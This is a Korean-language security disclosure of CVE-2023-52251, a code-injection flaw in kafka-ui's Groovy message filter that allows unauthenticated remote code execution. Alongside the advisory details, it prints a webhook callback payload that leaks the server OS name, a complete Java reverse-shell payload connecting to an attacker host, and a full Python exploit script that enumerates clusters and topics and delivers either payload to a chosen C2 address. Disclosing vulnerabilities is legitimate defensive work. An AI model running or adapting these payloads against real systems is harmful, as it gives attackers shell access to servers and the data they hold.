
CVE-2023-52251 provectus/kafka-ui에 원격 코드 실행 취약점이 있습니다.
provectus/kafka-ui에 원격 코드 실행(RCE) 취약점이 있습니다. 이 글을 작성하는 시점에는 패치가 없지만, 공급업체에는 저희와 VINCE 팀이 통보했지만 응답이 없었습니다. 보고서는 2023년 9월 27일에 이메일과 GitHub security를 통해 provectus에 전송되었습니다.
최소한 전체 groovy 필터 함수를 주석 처리하거나 인증을 추가할 것을 제안합니다.
| 제목 | 값 |
|---|---|
| CVSS 문자열 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H |
| CVE ID | CVE-2023-52251 |
| CVS 설명 | provectus kafka-ui 0.4.0-0.7.1은 /api/clusters/local/topics/{topic}/messages의 q 매개변수를 통해 원격 명령 실행(RCE) 취약점이 있는 것으로 발견되었습니다. |
| CVSS 점수 | 9.x |
| CWE | CWE-94: 코드 생성의 부적절한 제어('코드 인젝션') |
| 공급업체 | Provectus |
| 제품 | kafka-ui |
| 링크 | https://github.com/provectus/kafka-ui |
| 영향을 받는 버전 | 0.4.0-0.7.1 |
| 패치된 버전 | 없음 |
| 기여자 | Thingstad, BobTheShoplifter |
취약점 유형: 원격 코드 실행(RCE)
영향받는 소프트웨어: Kafka-ui
버전: [0.4.0-0.7.1]
groovy 스크립트 필터는 실행되기 전에 검증(sanitization)이 이루어지지 않습니다. 이로 인해 공격자가 서버에서 임의의 코드를 실행할 수 있습니다.
groovyScriptFilter 함수에서 "script"는 실행되기 전에 검증되지 않습니다.
그리고 엔진에서 eval됩니다:
var result = compiledScript.eval(bindings);
취약점을 재현하기 위한 특정 구성 세부 정보를 포함한 전체 지침입니다.
필터 사용:
new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

이렇게 하면 서버의 OS 이름과 함께 웹훅으로 요청이 전송됩니다.

여기서 더 나아가, 다음 페이로드를 사용하여 리버스 셸을 얻을 수 있습니다:
String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
이 페이로드는 https://www.revshells.com/에서 쉽게 생성할 수 있습니다.

또한 Python으로 작성된 PoC도 만들어졌습니다:
from time import sleep
import requests
import json
import urllib
import argparse
url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"
def get_clusters():
global clusters
clusterfetch = requests.get(url + '/api/clusters')
clusters = clusterfetch.json()
def get_topics(cluster):
topicfetch = requests.get(
url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
topics = topicfetch.json()['topics']
return topics
def get_webhooks():
webhookfetch = requests.post('https://webhook.site/token')
webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
print('URL Created: ' + webhook)
token_id = webhookfetch.json()['uuid']
headers = {"api-key": webhookfetch.json()['uuid']}
return webhook, token_id, headers
def Exploit():
try:
get_clusters()
cluster = clusters[0]['name']
topics = get_topics(cluster)
topic = topics[0]['name']
webhook, token_id, headers = get_webhooks()
checkpayload = 'new URL("'+webhook+'").text'
rcepayload = 'String host="' + c2 + \
'";int port='+port + \
';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
payload = rcepayload if mode == "rce" else checkpayload
r = requests.get(
url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
print(r.text)
r = requests.get('https://webhook.site/token/' + token_id +
'/requests?sorting=newest', headers=headers)
if r.json()['data'] == []:
print("No rce found")
else:
for request in r.json()['data']:
print(request)
print("Rce found")
except KeyboardInterrupt:
print("KeyboardInterrupt")
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Kafka-ui4shell rce.')
parser.add_argument('--mode', help='check, rce', required=False,
choices=['check', 'rce'], default="check")
parser.add_argument(
'--url', help='Target url. Example http://localhost:8080', required=True)
parser.add_argument('--c2', help='C2 ip for RCE',
required=False),
parser.add_argument('--c2port', help='File with urls', required=False)
args = parser.parse_args()
if args.mode == "rce":
# Check if c2 and c2port are set
if args.c2 and args.c2port:
c2 = args.c2
port = args.c2port
mode = args.mode
Exploit()
exit()
else:
print("C2 and C2 port are required for RCE")
exit()
if args.url:
url = args.url
if args.mode:
mode = args.mode
if args.c2:
c2 = args.c2
if args.c2port:
port = args.c2port
Exploit()
exit()
else:
parser.print_help()
이 취약점을 통해 공격자는 서버에서 임의의 코드를 실행할 수 있습니다. 이를 이용해 서버에 접근 권한을 얻고 시스템을 추가로 손상시킬 수 있습니다. 이 취약점은 kafka-ui 웹 인터페이스에 접근할 수 있는 모든 사용자가 악용할 수 있습니다.
이 글을 작성하는 시점에 Cencys에 따르면 인터넷에 노출된 kafka-ui 인스턴스가 1,000개 이상입니다. 이 모든 인스턴스가 이 공격에 취약할 수 있습니다.

이 소프트웨어는 또한 내부 네트워크에서 실행될 가능성이 높으며, 공격자가 네트워크에 접근하여 이 취약점을 악용할 수 있습니다.
Lars Thingstad - @Thingstad Daniel Christensen - @BobTheShoplifter